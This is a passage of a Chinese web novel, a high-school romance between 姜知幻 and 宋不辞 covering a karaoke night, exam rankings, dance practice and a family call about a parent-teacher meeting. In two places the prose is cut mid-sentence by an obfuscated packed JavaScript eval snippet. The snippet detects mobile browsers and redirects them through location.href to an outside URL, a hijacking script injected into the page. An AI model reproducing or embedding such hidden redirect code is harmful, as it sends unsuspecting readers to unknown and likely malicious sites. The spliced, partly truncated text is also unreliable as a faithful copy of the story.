19. Chase 四下静谧,唯有天花板上的彩色旋转灯亮着。 门外偶有一两个醉鬼路过,说话声高亢而断断续续,包房内隐约能听见。 古…生日…请…看上…搞…… 姜知幻看了眼门,将这些字眼串联起来,印象中,京城首富似乎姓古。 “嗯?”察觉她的走神,宋不辞漫不经心地发出一声含带疑问语气的鼻音。 姜知幻没说话,抬手,把身前人推开。 “喝酒了?”宋不辞直起身子,问。 姜知幻看他,好像从来不肯好好回答问题,“你没喝?” 但宋不辞知道,她已经给出答案了。 “唱歌吗?”宋不辞边走向点唱机,边说。 好不容易见个面,想跟她多待一会儿。 姜知幻跟他的想法同频,摸出手机,坐到皮质沙发上,说:“想听你唱。” 她给乔寻发了消息,临时有事先走了,下次约饭她买单。 “想听什么?”宋不辞问。 姜知幻动唇时,脑子也在运转,然后在“随便”两个字即将出口的前一刻变了主意,顿了下,说:“远走高飞?” “……不是,你就不能点个附和现场气氛的歌吗?”宋不辞觉得又好气又好笑。 姜知幻笑,“之前在短视频上总刷到。” 她说的短视频,图标中有个音符,名字简单易记。自上线后,手势舞席卷而来,身边许多同学在课间时不时比划比划,现在火的则是鬼步舞,很多明星网红都拍过跳这段舞的视频。 宋不辞嫌她破坏气氛,剥夺了她点歌的权利,指尖轻点几下,前面的大屏幕开始播放歌曲MV,他从桌上拿起一支话筒,拍了两下试音。 姜知幻坐到沙发上。 “有人说,天刚要黑的时候,在天边出现的第一颗星星,它叫做,黄昏晓。” MV中,女歌手清新悦耳的声音响起。 听到耳熟的字句,姜知幻抬眼,确认是王心凌的《黄昏晓》。 小时候经常听姜陆予给傅琳唱。 宋不辞坐在离点唱机最近的沙发边,神态自在,浑身散发着适情率意的恣纵感,却又聚精会神地盯着屏幕,右手拿话筒,左手食指跟随旋律,在大腿上有规律地轻点。 “风吹呀吹 吹在黄昏的空中 我飘呀飘飘呀飘 飘不进你的心中 ……” 准确无误地进拍。 宋不辞开口的瞬间,姜知幻眼珠微动,有些发怔,定定地看着他。 原本那股平息下来的躁动又被轻易地挑起。 心乱。 少年没用普通话,而是粤语。他的嗓音干净之中有着股朝气,质感略带磁性,两者中和起来,如青丝绕指般缠绵温柔,也意外的性感。 “拥抱的温度只有你清楚 通往幸福的旅途 黄昏才领悟 该往哪里停驻 我用一辈子去追逐 ……” 一抹粉红色光从宋不辞侧脸溜过,扫过耳垂。 姜知幻撑着右脸颊,盯着他红了的耳朵、俊俏的侧脸和一张一合的嘴唇。她的视线并非草率地游移,反倒近乎像是在端详,就这么辗转了一个来回,又以此往复。除此之外,哪儿也不多看。 宋不辞被她盯了一首歌的时间,直至结束,姜知幻心里满意地感慨了下,不愧是我看上的人。 “一直盯着我看干嘛?”宋不辞放下话筒,不动声色地摸了摸食指上的戒指。 姜知幻想也不想地回:“你好看。” 宋不辞闻言,长久地回视她的目光。 姜知幻疑惑地眨了下眼:“?” “你更好看。”宋不辞弯唇一笑,说。 姜知幻美而自知,从小到大都在被夸好看。但这话是宋不辞说的,她动了下眉,算作回应。 “不唱了?”姜知幻问。 宋不辞收到一连串消息轰炸,孙百河给他扔了十几个炸弹。 呵呵:不辞哥,你人呢? 呵呵:我哥也不见了 呵呵:你是不是又背叛我,跟他偷溜去搭讪了? 呵呵:今天可是我生日!!!! 宋不辞打字速度飞快,看了眼姜知幻,说:“你还想听什么?” serendipity:寿星,请注意言辞 serendipity:我什么时候搭讪过别人? serendipity:店里出了点问题,你哥估计得去一趟警察局 一看有麻烦事,孙百河也不闹了。 呵呵:那你们处理完了就回来啊 宋不辞没多解释,将手机搁在茶几上。 孙百河的生日聚会要跟那群朋友玩通宵,多久回去都不迟。 “朋友催你回去?”趁他回消息的空隙,姜知幻点了冰桶和酒。 服务员进门,见是这两张熟悉的面孔,有些惊讶。 不过来这儿的顾客最讨厌多嘴多舌爱八卦的,所以他面上情绪不显,心里暗道有钱人的圈子果然是个圈,老板跟那位乔大小姐不过是点头之交,两人的好朋友倒是很熟。 服务员放好,默默离开。 姜知幻放了两块冰进杯子,然后倒满酒。 “没事儿。”宋不辞走过去,拦截了她即将送到唇边的酒杯,不小心挨近她的手背,惊觉一片冰凉。 他更加果断地拿过酒杯,看了眼冰桶,又看她,“不嫌冷?” 京城四季分明,不像江城,被网友戏称只有冬夏,没有春秋。包房里开着冷气,刚在130包间人多,热热闹闹地玩,现在换了个空间,两个人聊聊天唱唱歌,也不怎么动,自然更容易感觉到冷。 不过宋不辞穿得比姜知幻多,一时半会没感受出来。 “冷啊,特别冷。”姜知幻顺着他的话往下说,双手抱着胳膊搓了搓,眉眼耷拉着,模样瞧着还挺可怜。 宋不辞不知想到什么,低声笑了下,脱下西装外套,却听姜知幻说:“也许,拥抱比外套更暖和?” 她嘴角勾着,笑容放肆带着几分狡黠之色。 迷蒙的灯光,微妙的氛围,仿佛自带钩子的狐狸眼。 宋不辞手上的动作停顿半秒,喉结微动,手一扬,外套兜头盖脸地飞过去,直接罩住姜知幻整个脑袋,也遮住了眼睛。 “……”熟悉的柠檬气息萦绕在鼻尖,姜知幻拉下外套,也不恼,拿起茶几上的酒杯喝了口,轻声嘲笑一句,“小气鬼。” 宋不辞抱臂看着她,拿腔拿调道:“抱了可是要负责的。” 他是典型的衣架子,脱去外套,身上只剩白衬衫西装裤,宽肩窄腰立马凸显出来。 杯子里的酒见底,一块冰溜进口中,姜知幻边咬碎,边欣赏。听他这么一说,她顿时兴致缺缺地摆摆手,“那算了。” “算了?”宋不辞差点气笑,见她嚼冰碴子上瘾了,还想再吃一块,连忙按住酒杯,“少喝点冰的吧,小心胃疼。” 姜知幻“哦”了声,似存心想跟他对着干,握着杯子不肯松,提出要求:“求我。” “求你了,祖宗。”宋不辞从善如流道,散漫的腔调中带着吊儿郎当的痞。 姜知幻收回手,穿好外套,乖乖坐着没动了。她低头看着长了一截的衣袖,忽地问:“宋不辞,来京城开心吗?” 姜知幻嘴里偶尔会冒出一些突如其来又莫名的问题,说完后,她貌似也并没想过要有回应,就是像一个人的自言自语。 然而,对于这些别人看来不可捉摸的问题,宋不辞总是格外有耐心。 “见到你就开心。” “那我们可得天天见面啊。” 天天见面,天天开心。 长久的静寂下,宋不辞笑着低“嗯”一声。 不考虑目前任何的束缚因素,最纯粹而无所顾虑的回答。 姜知幻也笑。 包房内重归于静,那时两人觉得,我们不说话,只要交换一下目光,就觉得有的人单单是存在着就很美好。 “是不是很后悔?” “后悔没废了那小子的手。” 球的声音响起。 “球”并非系统的本名,它自称是世间主宰。宋不辞觉得太中二,改称为球。 算个球。 他不着痕迹地扫了眼姜知幻的腰,第一次赞同了球的话。 确实,后悔了。 - 回校当天是星期一,跑操回来后就听见有人说成绩出来了,关顺正在办公室打印。 “真的假的?学校的办事效率太快了吧。” “我那点破分有看的必要吗?” “扎心了老铁。” 走廊里,三个少女站在边上聊天。 冯潇潇很兴奋,无论每次考的好与差,她都保持着对成绩的期待,就算结果差强人意,也能很快收拾好情绪,迎接下次考试。 “我觉得我这次发挥稳定,可能也就比周考低两三个名次吧。”冯潇潇说,“你们呢?” 姜知幻双臂撑在栏杆上,俯视着教学楼下来来往往的同学,言简意赅道:“还行。” “你跟大小王一样,都是怪物级别的人物,刚转学就一跃成年级第一,连暑期集训都没来。”冯潇潇摆摆手,表示不想跟她交流,看向齐思,“齐思,你呢?” 姜知幻没参加暑期集训的事,是冯潇潇去办公室找关顺时偶然听见的。那阵子姜知幻是老师们口中的红人,出频率特别高,有老师跟关顺开玩笑说把你那位新同学转我们班来怎么样? 姜知幻转身,背靠外走廊隔墙,笑了下,目光穿过敞开的教室后门,落在男生堆中的宋不辞身上。 他玩得开涉猎广,开得起玩笑又有分寸,跟谁都能唠上两句。这样的性格,确实很受欢迎。 “我……”齐思的反应和冯潇潇迥然不同,她抿了抿唇,说话期间,视线总三不五时地往办公室的方向瞟,显然是把成绩看得非常重要的那一类,“我感觉这次有点发挥失常。” 冯潇潇知道她家里管得严,连忙拍拍齐思的肩,安慰道:“你就是太紧张所以产生了错觉,往往越觉得自己考得不好,就越考得好。这叫什么效应来着?我一时想不起来了。” 她词穷,用手肘戳了戳姜知幻。 齐思看着两人。 “啊……你说的是那个效应啊,叫…叫什么来着?容我想想。”姜知幻露出沉思的表情,配合道,但一时实在不知道该怎么接。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14050145|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她第一反应是墨菲定律,但目前的情形,说出来太扫兴了。 冯潇潇看看她,又看看齐思,抑扬顿挫道:“对吧对吧,我就说有那么个效应,就是突然想不起来了。” 姜知幻附和地点点头。 齐思:“……” “是不是叫‘梦都是反的’效应?” 懒洋洋的男声插.入。 “对对对,就是它,梦都是反的……”冯潇潇病笃乱投医,一拍脑袋,没多思考道,后知后觉不对劲儿,“啊?梦都是反的?” 她瞪了眼不知何时出来的宋不辞。 宋不辞站在姜知幻身旁,“你就说是不是还挺有点道理。” 冯潇潇揣摩了会儿,还真无从辩驳。 齐思没忍住,“噗嗤”笑出声。 行吧,欠归欠,的确是调节气氛的一把好手。 冯潇潇没挑他刺。 “你们在笑什么?”韦枫玥拿着成绩表走过来。 “班长!”冯潇潇两眼放光,立马凑过去,“我看看,我看看。” 齐思克制地没有上前,默默观望。 姜知幻和宋不辞反应平平,站在原地没动。韦枫玥离两人的位置挺近,姜知幻稍微垂下眼便能看到前几名的人。 “我靠!你俩……”冯潇潇激动地指了指姜知幻和宋不辞,说,“你俩牛逼啊,语文那么难还能上130,不过温玉更牛逼,143。嚯!夏闲又冲上来了。” 在外面耽误的时间太久,班里的同学都还等着看。 韦枫玥温声提醒,“潇潇,看完没?我得拿进去贴上了。” “好好好,去吧。”最后看完自己和齐思的排名,冯潇潇说。 她扭头,神秘兮兮道:“猜猜,你俩谁在上?谁在下” 这话听着怎么怪怪的?齐思心想。 姜知幻跟宋不辞对视一眼,笑道:“我猜我的语文成绩应该是132。” 冯潇潇:“啊,都看到了,没意思。” 这次月考的总体结果不错,下午第三节课,关顺抽空说了几句。 姜知幻和宋不辞的理科分数旗鼓相当,略微的差距主要在语文和英语上产生。 姜知幻总分727,年级第二,英语比宋不辞高4分。宋不辞总分730,年级第一,语文比她高7分。 夏闲和姜知幻的总分仅一分之差。 韦枫玥中规中矩,排名没掉出前十,也没挤进前五。 温玉倒是令姜知幻有点意外,班级排名20,年级排名53。 据了解,没参加暑期集训的就两个人,一个是她,一个是温玉。半工半学到这种程度,实力还是挺强悍的。 冯潇潇班排17,年排44,比她预想的要高。 齐思担心的没错,果然考砸了,班排40,年排跌出100。 她苦恼地皱着眉头,心里拔凉拔凉的,不知道该如何跟父母交代。 关顺站在讲台上说,“下节班会课换位置,老规矩,根据成绩排名先后选择。” 温玉轻轻敲了下墙上的浅灰色瓷砖,闻言,问姜知幻:“同桌,打算跟谁坐?” 姜知幻看了眼宋不辞,他刚刚还挺直脊背听讲,温玉话音一落,他的背就往椅背上贴,无形之中像是有股磁力在吸引。 她勾了勾唇,说:“不知道,你有心仪的同桌吗?” “我心仪的同桌?”温玉瞥了眼姜知幻的前桌,慢吞吞道,“我心仪的同桌不就是你……” “你前桌的同桌。”宋不辞回头,接上话。 置身事外的夏闲:“……” “既然给他安排好了,那你呢?”姜知幻问。 宋不辞没正面回答:“你想我坐哪儿?” 姜知幻:“我觉得温玉这个同桌其实也挺好……” 宋不辞:“坐你旁边。” 想套路她真不容易。 姜知幻挑眉,“好。” “……闲闲你看看这俩,把我们当猴耍。”温玉控诉。 夏闲打了个哈欠,“玉玉你自己搬过来吧,我懒得动。” 温玉:“……” 关顺:“还有件事,这周三上午第四节课开家长会,我在家长群里已经通知了,住读生晚自习时间可以来找我借手机和父母打电话,走读生回家后跟父母确认一下。如果存在来不了的情况,到办公室跟我说明原因。” “啊——高三还要开家长会啊?” 关顺笑笑,“高三可是最关键的一年,不能松懈。” 家长会…… 没记错的话,除了爸妈,外婆也加了家长群。 从小到大,傅琳和姜陆予没缺席过一次家长会,谁有空就谁来,都没空的情况下,其中一个再忙都会挤出时间。 以前一直在京城,周知敏和傅凌杰飞来飞去也麻烦。现在不一样了,依姜知幻对两人的了解,八成得跟她商量参加家长会的事儿。 与其说是商量,不如说是通知。 通知姜知幻,这次家长会我一定会来。 宋不辞不需要考虑谁来的问题,宋无恙从未参加过家长会,一直都是徐情来的,毫无疑问,这次也一样。 他只是担心,家长会完,徐情最爱找班主任问问题了。 20. Chase 下午最后一节课完,姜知幻、宋不辞、夏闲和温玉接到通知,去舞蹈室找教导主任。 四人一头雾水,到场时发现还有其他几位同学在。 三女三男,女生站前,男生在后。 其中最眼熟的是云砚和江鸿,前者右边站的女生是之前在操场上跟宋不辞热情打招呼的那个,名叫许雨散,而她后面的冰块脸是贺竹。 听宋不辞说,这两人是青梅竹马。 至于剩下的一女一男没见过,也没听说过。但所有人都有个共同特点,长的好看。 “报告。” 姜知幻迟疑地跟着其他三人喊了声,心里隐约觉得不对劲儿。 教导主任站在最前面,旁边还有个女老师,正笑眯眯地看向门口的四人,招招手道:“快进来快进来。” 四人自觉地排成两排。 “人都到齐了吧?”教导主任确认了下人数,直奔主题,“今天找你们来主要是因为一条建议,我们老师统计了下,建议墙上贴的这条建议最受欢迎。” 他说着,从兜里拿出一张绿色便签纸,递给就近的云砚,让大家互相传递看看。 姜知幻瞥见那张绿色便签纸,眉心一跳,等传到手上时,果真如她所料。 轻飘飘的一张纸上写着一句话。 ——想看帅哥美女跳舞。 空余部分密密麻麻地写着许多个五颜六色的“+1”,这些都来自于不同学子的不同笔迹。 姜知幻:“……” 身后传来一阵短促的轻笑。 显然是认出了她的字。 姜知幻面不改色地将便签纸递给身旁的温玉,长这么大,头一次体会到“自作自受”的感觉。 早知道就不口嗨了。 “同学们的期望,就是我们学校要做的事。所以这次运动会不仅要搞得好|还要圆满!尽量让每位同学都不失望。”教导主任的发言如演讲般慷慨激昂,热血沸腾,“当然,我们尊重个人意愿,如果有同学不想参与的,可以跟我说。” 话音一落,夏闲就懒洋洋地举起手,嘴都没张就被吴回舟一口回绝,“你不行,你必须参加。” 夏闲:“……” “老吴,说好的尊重个人意愿呢。”宋不辞笑道。 吴回舟瞪他,“你也一样,谁知道你俩一闲下来又会搞点什么大动作。” 其他几个知情人偷笑。 老吴? 听到这个称呼,姜知幻想起来之前在建议墙上看到的话。 ——让老吴跳段小苹果!!! 此老吴该不会就是面前的教导主任吧? 她目光复杂地看着吴回舟的啤酒肚,幻想了下他跳小苹果的场面,实在是喜感十足。 姜知幻努力抻平嘴角,避免露出不厚道的笑。 “你就是传说中的姜知幻吧?”吴回舟的目光忽然落到她身上,问。 完全在状况外的姜知幻面露疑惑。 传说中? “一直听那些老师提起过,开学周考就夺得‘卷心菜大王’的位置,很厉害的小姑娘哈。”吴回舟说着还跟旁边的女老师互看一眼,皆是惬心地点点头。 “老师您过奖了。”姜知幻低眉敛目,客套道。 这一举动落在吴回舟眼里,有了误解。 人与人之间的初见面很容易产生首因效应,加上之前没少听那些老师夸姜知幻,他有了先入之见,觉得是个脸皮薄且谦卑的好学生,让人省心的料。 吴回舟眼里多了几分赞赏,在看到宋不辞和夏闲时,话锋一转,“我记得你们是一个班的吧?向人家学习学习,多乖多踏实。” 姜知幻眉头轻微耸动了下。 “遵命,老吴。”宋不辞话里带笑。 “嘴上答应得快,所有人当中就你最不正经。”吴回舟嘴上数落着,眼里却是高兴,“我就不多说了,这位是音乐老师方子衿,后面负责带你们排练。” 方子衿微微笑道,“青青子衿的子衿,叫我方老师或者子矜姐也行,很高兴能与大家共事。” … 舞曲定的seve,也就是最近网络上爆火的鬼步舞。 十人根据方子衿的安排站好位,领舞的是许雨散和贺竹。两人有舞蹈基础,根本无需排练,在鬼步舞将将火起来时便会了。 姜知幻小时候猎奇心重,几乎所有感兴趣的事儿都爱掺和一下,不过爱的都不长久。可以说是样样通样样松。 她认真看许雨散跳了遍,短短五分钟学会。 而兴趣爱好同样杂而不精的宋不辞,迎来了学习生涯的首次滑铁卢。原本看贺竹轻而易举地跳完,他没觉得多难,结果实践后发现自己的协调性怎么能这么差?! 十几分钟过去了,其他人都学会了,而宋不辞还在企图驯服四肢。 “今天的练习先到这,我还有事先走了。”第一天练习,方子衿没耽误大家时间,说完就离开了舞蹈室。 教宋不辞的贺竹面无表情,淡漠的眼神里似隐隐透露丝丝一言难尽,他斟酌了下,最后点评:“挺好的。” 宋不辞脸皮虽厚,但自知之明还是有,“……勉强你了。” 一直被粉丝戏称如果成团,必定是全能ACE的温玉实在看不下去了,欠揍道:“你这一看就会,一学就废的本领给我们家闲闲都看困了。” 夏闲打了个哈欠,勉强撑起点精神,语气挺诚恳地问:“你在做康复运动吗?” 宋不辞有胜负欲,但胜负心不强。放以前,这些话听了也就是笑笑懒得计较,或者插科打诨两句。 可余光瞥见姜知幻看向自己那一刻,他心头有些慌乱,面上保持镇定自若,却不知一抹薄红瞬间爬上耳根。 好在温玉没继续揭他短,就是犯贱,看热闹不嫌事大地对姜知幻说:“后桌,要不你帮帮你的新同桌?” 姜知幻盯着宋不辞红透的耳根,不自主地咽了咽嗓,眼底闪烁着前所未有的雀跃。 有点……可爱。 “行啊。”姜知幻愉悦地应下,如果不是因为在场的人太多,她恐怕会抑制不住心中那股欲望,抬手去捏宋不辞的耳朵。 “那我们先走了,你俩慢慢练。”温玉冲宋不辞wink了下,无声地说完四个字,拉着昏昏欲睡的夏闲走人。 ——不用谢我。 “不辞哥,我们走了,你加油。”许雨散的目光在宋不辞和姜知幻之间来回打转,眉飞色舞道,目光八卦。 宋不辞失笑,“好。” 一群人陆续离开,片刻,舞蹈室内只剩下姜知幻和宋不辞。 姜知幻先开了口,主动问,“哪儿不会?” “哪儿都不会。”宋不辞不得不承认,自己毫无舞蹈细胞,他压下心头那点尴尬情绪,开玩笑道,“提前说好,我脸皮很薄的,待会儿别太打击人啊,小姜老师。” 姜知幻勾唇,“这可不像脸皮薄的人说出来的话。” “那…开始吧。”宋不辞别开眼,说。 宋不辞主要是第一个基础动作不太熟练,姜知幻将动作慢速拆分,边跳边讲解:“右腿抬起,踢出去,然后落地,最后点地。” “待熟练后再渐渐提速。”她示范了遍,说,“就这样,你先试试。” 宋不辞按照她的方法练了几次,勉勉强强看得过去,一旦要提速,他的脚步又乱了。 姜知幻并不是个耐心足够的人,可对象是宋不辞的话,倒也能一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14168103|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍,不厌其烦地指出问题,纠正问题。 临近上课,宋不辞终于学会了。他心累地叹了口气,席地而坐,吐槽了句,“这比学习难多了。” 姜知幻坐在旁边,回想起他最初僵硬的动作,乐不可支道:“宋不辞,你的舞蹈启蒙老师是AI吗?” “AI可比我灵活多了。”宋不辞自嘲一句,又问,“同桌,你就没有不会的吗?” 姜知幻想了想,“暂时没有。” 她感兴趣的东西,一学就会。 宋不辞双手撑在背后,姿态懒散,明明离上课仅有五六分钟,却一点也不着急,反而挺有闲情逸致,跟她聊起天,“这么优秀,追你的人应该很多吧?” “不多。”姜知幻下巴抵在膝盖上,默了下,没有反问或答非所问,如实陈述,“我性格有缺陷,很多人都不敢追。” “那挺巧。”宋不辞漫不经意地笑了声。 姜知幻不解,“巧什么?” 宋不辞看着镜中的她,“我从小胆子就挺大。” 他不问有什么缺陷,反倒给出这番有意无意的回答。 钓鱼的人,怎会不明白鱼儿在想什么。 但宋不辞是宋不辞,不是鱼,也不是任何人的所属物。 姜知幻望了眼时钟,喃喃:“好像要上课了。” 不是想要的答案和反应。 宋不辞没什么情绪地“嗯”了声。 空旷的室内,两人坐在地板上,通过一面墙大的平面镜对视。直勾勾的目光,谁也没移开。 “不想上课?”宋不辞拿不准她刚才话里的意思,试探地问了句。 姜知幻摇头。 静默一秒,两秒,第三秒时,宋不辞看见姜知幻朝自己的方向扭头,留给他一张精致漂亮的侧颜。 “我可以,”少女薄唇轻启,缓缓道,“摸一下你的耳朵吗?” 扑通,扑通,扑通。 心跳惶乱,强而有力。 宋不辞感觉整个舞蹈室静的可怕,仿佛只能听见自己的心跳声。在姜知幻直白的注视下,他很没出息地、再次红了耳朵。 也是在这时,宋不辞想起了之前两人在乌托邦时的对话。 ——“抱了可是要负责的。” ——“那算了。” 她从不捅破那层窗户纸,还在它即将被撕开一条小缝时及时复原。 不想负责还撩他。 渣女。 宋不辞心里这么想着,脑袋却向着姜知幻那边歪了下。 “随你。” “算了,有监控。” 几乎是同时开口。 宋不辞愣神,姜知幻已经起身了。 她像是没听到他的话,看了眼门外,提醒:“还有一分钟就要上课了。” 真的在乎迟到吗?还是借此掩盖? “好。”宋不辞垂眼,单手撑地板,站起来。 又算了。完全摸不透她的心思。 姜知幻走在前面,马尾随步伐轻微晃动。 宋不辞跟在后面,看着少女白皙光洁的脖颈,想起初次见面那天,她脖侧贴过的纹身贴。 不是复杂夺目的图案,就是个简单的黑色笑脸。 大概是出于三分钟热度贴着玩的,所以存在的时间并不长,因为第二次见面,笑脸便永远消失了。 在即将踏出舞蹈室时,宋不辞突然叫了声,“姜知幻。” “嗯?”姜知幻的手搭上门把手,没扭动,也没回头。 宋不辞扬唇,露出笑容,哪怕她看不见,“算了,没事。” 他跟笑脸不一样,他永远不会被抹杀。但从某种意义上来说,姜知幻和笑脸,都完完整整属于过对方。 21. Chase 书房昏暗,窗帘没有完全合闭,留了条细口。这才得以让薄弱的月光泄进。 如果有人,在不开灯的情况下,能影影绰绰地窥见室内的冰山一角。 一面白板紧靠墙壁,上面有照片、五颜六色的便签纸,以及乱七八糟的笔迹。 “咔哒。” 清脆的解锁声伴随少女低沉的嗓音一并响起。 “外婆,你知道的,从小到大,我的父母没有缺席过一次家长会。” “他们心系女儿,我就是想拦也拦不住啊。” 姜知幻笑道,语气温和,没抬手开灯,径直走到白板前。 她刚洗完澡就接到周知敏的电话,湿漉漉的长发披散在肩头,背部衣料打湿大半。她毫无不适感,也没有吹干的兴致,只用毛巾随便擦了两下。 一路走来,地板上还有滴答落下的水珠。 “一次家长会而已,参不参加都无所谓。” 借着月光,姜知幻的指尖轻触上白板正中央贴着的照片,眼神里多了些许温柔。 她继续道:“还是,你想知道点什么?” “比如,我在学校的表现如何?经常跟谁来往?同桌是男是女?待人有不有礼貌?仪态举止端不端庄?” “如果想知道这些,大可不必多跑一趟去问老师。问我就行。” 照片里的少年,蓝白条纹衬衫外搭一件V领毛衣背心,下身穿阔腿牛仔裤,踩黑白运动鞋。 分明是干净清爽的学院风打扮,可他姿态懒散,脖间领带松松垮垮地系着,站在爬满半面墙的弗洛伦蒂娜前,更像是被团团簇簇的花朵包围其中。 然后,在周边人的起哄说笑下,少年右手指间夹着根点燃的茉莉香韵,放进嘴里吸了一口,随即叼起左手拿的那支红得艳丽的玫瑰,轻低下头,漫不经心地吐出烟雾。 他眉梢眼角微翘,似笑非笑,活脱脱一游戏人间的花花公子。 而画面也就此定格在少年叼花吐烟的这一幕。 这是宋不辞。 准确来说,是姜知幻第一眼见到的宋不辞。 姜知幻语速不疾不徐,最后终于落到了重点上。 “或者说,我不值得你信任?所以才再三坚持要参加家长会。” 那头沉吟片刻,“有知,你最近说话越来越带刺了。” “对不起。” 说虽这么说,语气却听不出半点歉意。 “无论你父母来不来,我都还是想参加。”周知敏改用怀柔政策,“外婆年纪大了,就想在你成长中的每一刻留下点痕迹,这样你以后至少不会那么快忘了我这个老太太。” “你看她多会训狗哈哈哈哈哈——” 未知生物放肆大笑道。 “说得感人肺腑,字字句句中透露的可不就是……别无选择,唯有服从。” “偏偏是至亲之人。” 话这么密,把舌头割了吧。 姜知幻拧眉,细白的手指暴起青筋。 “切,假正经。” “我只是在陈诉你的真实想法。” 姜知幻沉默。 未知生物说的话确切不移,光是代入一下,她就觉得胸口像是堵了团棉花,胀得厉害,又拿不出来。如此窒息居然还能喘着一口气。 憎恨的同时,也许还有一种一眼能望到头、无可奈何的苦涩和无力吧? 不敢想象傅女士在这种环境生活的十八年。 姜知幻的目光扫过照片底下写的一句话。 ——如果没有自由地活着,人生就是一具行尸走肉。 她太明白,自由对于常处于束缚状态中的人来说,是多么重要。 然而,未知生物却告诉姜知幻:“真有那么重要吗?自由的本质明明是欲望啊,而追求自由不就是服从自己的欲望吗?” “能被驯服的不过是一部分不需要的自我。就如你依然会心软,让她参加家长会。而心软,就是你不需要的部分。” “所以说,变态的掌控欲和占有欲并不可怕,只是没被大多人理解。但我理解你,你的行为对他来说是正面的救赎,而不是负面的危害。” 它循循善诱,甚至对她的极端想法表示支持与美化,最后一句更是强调,我就是你的同类,我完全懂你。 看似宽柔讲理,实则狗屁不通。 姜知幻冷笑,根本不为所动,心里一字一顿道:脑浆没摇匀就闭嘴。 她还不至于傻到被这种颠倒黑白的言论说服。 “行,既然外婆想参加,我哪能拒绝。”姜知幻撕下一张崭新的便签纸,提笔,边写边说,“周三上午十一点半,不见不散。” 通话结束后,姜知幻将手中的便签纸贴到照片旁,纸上就三个英文字母,一个标点符号。 ——stoporcontinue? 房间里陷入短暂的安静。 “你共情了。” 未知生物突然开怀大笑,语气恶劣,隐约透着一股“以为你有多大能耐”的讽刺与嘲弄。 姜知幻置若罔闻,下齿有一下没一下地咬着上唇,从笔筒里挑出一支红笔,拇指按下笔帽。 “咔哒咔哒——” 按笔的声音持续响起,逐渐变得急促,如同她犹豫不决又焦躁不已的心情。 只听“啪嗒”一声,笔被摔在了地板上。 姜知幻深吸一口气,下齿松开,上唇立马现出一道深深的齿痕。 她拿起手机,转身,头也不回地出了书房。上完锁后,拨通姜陆予的电话。 傅琳和姜陆予商量过了,参加家长会的是姜陆予。 “喂,爸……” … “爸。” 宋不辞写完作业,下楼打算给自己煮点吃的时,发现宋无恙坐在沙发上,正在喝水。 “嗯,这么晚了还没睡?”宋无恙侧头看了他眼,说。 宋不辞走近,闻到他身上散发的酒气,“刚写完作业。” 宋无恙“哦”了声,继续喝水。 “我准备弄点东西吃,要给你做碗醒酒汤吗?”宋不辞从冰箱里拿出食材,问。 这个点,阿姨已经下班了。 “……嗯。”宋无恙陪伴儿子的时间少,沟通也少,面对他突然的关心,还有点不适应。但更多的是意外,他儿子原来会做饭。 宋不辞倒没多想,煮一碗醒酒汤不过是顺手的事。 宋无恙跟监察人员似地走过去,看着儿子专注做饭的模样,心头涌入一股暖流。常年在外奔波应酬,鲜少体验到这种温情时刻。 大概是觉得氛围太安静,他没话找话道:“你妈最近没回来?” “嗯。”宋不辞切姜丝,头也不抬地回。 “最近钱够用?” “够。” “学习上感觉怎么样?” “还好。” “你也真是一如既往地惜字如金,作为男人,嘴要灵光点,知道吗?” “哦。” 句句有回应,宋无恙浑然不觉他的敷衍,反而越来越放开了。他瞅一眼宋不辞手里的菜刀,说,“刀法挺不错。” 宋不辞:“爸,今晚有足球比赛,你不看吗?” 宋无恙最喜欢的运动是足球。 “好,你……”宋无恙点头,发觉自己对宋不辞了解实在少得可怜,毫不夸张地说,他看足球比赛的次数都比儿子多。 意识到这个问题,不知是出于亏欠还是不甘心,宋无恙没动,像是势必想缓和父子关系一般,他又说:“你觉得李家的女儿怎么样?” “什么意思?” 宋不辞切菜的动作一顿,终于舍得抬头看一眼他爸。 “联姻呀!”宋无恙一拍大腿,说,“你这个年纪也不小了,可以试着跟这些姑娘处处,又没什么坏处。怎么?李家的女儿你不喜欢?” 这个年纪的小孩,对情爱多少都有点憧憬。 “爸,别说了,你喝醉了。”宋不辞垂头,面色无波无澜。 宋无恙:“我没醉,我清醒得很,你生日是5月1日劳动节,对吧?” 宋不辞轻笑了声,纠正道:“是4月1日,愚人节。” 5月1日是徐情的生日。 “哎,不重要。”宋无恙扬了下手,半点不尴尬地扯回话题,“李家的姑娘你不感兴趣,那云家的……” 他说起这些,滔滔不绝。 “爸。”宋不辞出声打断,菜刀搁在菜板上发出“哐当”一声。他目光冷淡,仿佛看透面前人的所有小心思,却也只是加重音量,语气依然平和,“星期三要开家长会,你去吗?” 宋无恙差点被儿子那身气势唬住,无言半晌,说:“以前不都是你妈去的吗?我明天还有工作要忙。” 换而言之,抽不出时间去参加家长会。 宋不辞毫不意外,看了眼锅里的情况,说:“醒酒汤要好了。” “你待会儿端过来吧。”宋无恙往沙发的方向走,心里直犯嘀咕,老子怎么可能会怕小子? - 家长会如约而至。 韦枫玥和其他几位班干部去校门口接家长,为家长指路。作为体育委员,宋不辞也在其中。 冯潇潇收拾完,特意将考得最好的几科的答题卡拿出来,摆在整洁的桌面上。 “哟,你考试就考三科啊?”范洋经过,贱兮兮地冒出一句。 冯潇潇赏了他一记白眼,“姑奶奶我今天心情好,懒得跟你计较。” 然后蹦蹦跳跳地窜到齐思跟前。 “诶……”范洋看着她的背影,欲言又止。 